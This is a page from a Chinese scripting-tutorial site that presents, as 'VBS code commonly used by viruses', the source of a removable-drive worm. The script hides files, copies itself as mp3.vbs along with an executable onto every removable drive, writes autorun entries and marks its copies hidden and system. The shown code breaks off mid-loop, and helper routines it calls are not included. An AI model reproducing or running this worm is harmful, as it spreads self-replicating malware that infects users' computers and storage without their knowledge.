当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 一段病毒常用的VBS代码

VBScript
VBS取QQ或TM自动登录代码并防止关闭的脚本
VBS调用WMI快速关闭IE的脚本
查看或修改Windows系列系统的序列号的vbs
vbs adox提取数据库表名和列名的类
vbs实现的eMule电驴自动关机脚本代码
vbs判读盘符被双击的脚本
vbs下一些取特殊路径的方法总结
vbscript禁用 启用fso的方法
getSQLinfo.vbs 获得SQL数据/日志空间使用情况的脚本
高手必看的vbs的至尊境界
vbs 获取radmin注册表中的信息
vbs解答一道初中数学题i,x,y
vbs之自动安装驱动程序
让IIS建立的站点默认是.net 2.0的,而不是.net 1.1的代码
VBS利用SendKeys输入中文字符的方法
vbs加administrator用户的代码
用vbs列出机器上所有能调用的组件
用vbs实现选择颜色
vbs选择文件夹效果代码
vbs的sort排序

VBScript 中的 一段病毒常用的VBS代码


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 133 ::
收藏到网摘: n/a

复制代码 代码如下:

On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing